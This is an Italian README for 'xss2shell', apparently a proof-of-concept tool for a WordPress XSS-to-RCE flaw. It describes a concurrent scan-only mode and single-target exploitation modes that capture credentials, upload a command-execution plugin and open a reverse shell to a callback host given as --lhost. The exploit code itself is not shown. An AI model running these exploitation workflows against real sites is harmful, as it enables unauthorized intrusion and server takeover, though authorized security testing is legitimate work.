
Scanner WordPress autorizzato da XSS a RCE con rilevamento concorrente della riflessione XSS su più target e fingerprinting della versione, oltre a un flusso di lavoro di exploitation opzionale.
Sviluppatore: YogaGymn
Utility PoC/di scansione per test di sicurezza WordPress autorizzati. Il progetto contiene un flusso di sfruttamento a target singolo e una modalità solo scansione concorrente multi-target.
Importante: Utilizza questo progetto solo su installazioni WordPress di tua proprietà o per le quali hai esplicita autorizzazione a eseguire i test. Lo scanner multi-target è intenzionalmente limitato al fingerprinting e al rilevamento del riflesso XSS; non esegue cattura di credenziali, upload di plugin o RCE contro una lista di target.
Lo script originale supporta:
auto, xss e direct.Lo scanner aggiunto supporta:
ThreadPoolExecutor.La modalità multi-target non richiama le funzioni RCE originali.
requestsInstalla la dipendenza:
python3 -m pip install requests
Se la tua distribuzione Linux utilizza un ambiente Python gestito esternamente, usa un ambiente virtuale:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
Clona o copia il progetto:
git clone https://github.com/yogaGymn/XSS2Shell-CVE-2026-64638
cd XSS2Shell-CVE-2026-64638
Oppure posiziona semplicemente:
xss2shell.py
nella tua directory di lavoro.
Crea un file chiamato targets.txt:
https://example1.test
https://example2.test
https://example3.test
I commenti e le righe vuote vengono ignorati:
# Authorized lab targets
https://example1.test
https://example2.test
Esegui lo scanner:
python3 xss2shell.py -i targets.txt
La concorrenza predefinita è di 10 worker.
Ad esempio, utilizza 20 worker:
python3 xss2shell.py -i targets.txt --workers 20
Per un piccolo laboratorio:
python3 xss2shell.py -i targets.txt --workers 5
Non scegliere un numero di worker inutilmente elevato, poiché può aumentare il carico di connessioni e potrebbe attivare il rate limiting o i controlli difensivi.
python3 xss2shell.py \
-i targets.txt \
--workers 10 \
--output results.txt
[*] Multiple-target scan: 3 target(s)
[*] Concurrent workers: 10
[*] Scan-only: WordPress fingerprint + XSS reflection check
[*] No login, plugin upload, credential capture, or RCE
[1/3] https://example1.test | WP=6.8.2 | XSS=XSS_NOT_DETECTED (ESCAPED)
[2/3] https://example2.test | WP=6.7.1 | XSS=XSS_REFLECTION_DETECTED (AREA_BYPASS)
[3/3] https://example3.test | WP=unknown | XSS=XSS_NOT_DETECTED (NOT_REFLECTED)
=======================================================
MULTIPLE-TARGET SCAN COMPLETE
=======================================================
Total targets : 3
XSS detected : 1
Not detected : 2
Errors : 0
Results saved : scan_results.txt
Il file predefinito scan_results.txt utilizza campi separati da tabulazioni:
TARGET WORDPRESS_VERSION XSS_STATUS XSS_DETAIL
Esempio:
https://example1.test 6.8.2 XSS_NOT_DETECTED ESCAPED
https://example2.test 6.7.1 XSS_REFLECTION_DETECTED AREA_BYPASS
Stato Significato
XSS_REFLECTION_DETECTED Lo scanner ha rilevato il
comportamento di riflessione HTML
testato. Questo di per sé non è
prova di RCE.
XSS_NOT_DETECTED La riflessione testata non è stata
rilevata.
ERROR Il controllo ha incontrato
un'eccezione.Lo scanner può riportare dettagli come:
RAW_HTMLAREA_BYPASSESCAPEDSTRIPPEDNOT_REFLECTEDQuesti valori descrivono la risposta osservata dalla routine di rilevamento; devono essere validati manualmente prima di considerare un risultato come una vulnerabilità confermata.
Lo script originale supporta anche argomenti per target singolo.
python3 xss2shell.py \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode direct \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode xss \
--lhost 192.0.2.10 \
http://authorized-lab.test
I flussi di lavoro XSS/direct possono creare o attivare un plugin contenente funzionalità di esecuzione di comandi. Usali solo all'interno di un ambiente di test autorizzato.
usage: xss2shell.py [-h]
[-i TARGET_FILE] [--output OUTPUT] [--workers WORKERS]
[--mode {auto,xss,direct}]
[-u USERNAME] [-p PASSWORD]
[--lhost LHOST] [--lport LPORT]
[--slug SLUG] [--callback-port CALLBACK_PORT]
[--no-rev]
[target]
Argomento Descrizione
target URL di un singolo target.
-i, --input File contenente più target.
--output File di output per i risultati
multi-target. Predefinito:
scan_results.txt.
--workers Numero di worker concorrenti.
Predefinito: 10.
--mode Modalità originale a singolo target:
auto, xss, o direct.
-u, --username Nome utente WordPress per il flusso
di lavoro originale
direct/fallback.
-p, --password Password WordPress per il flusso
di lavoro originale
direct/fallback.
--lhost Host di callback/reverse-shell per il
PoC originale.
--lport Porta della reverse-shell. Predefinito:
4444.
--slug Slug del plugin. Predefinito: xss2shell.
--callback-port Porta del server di callback. Predefinito:
9090.
--no-rev Salta l'attivazione della reverse-shell
nel flusso di lavoro originale.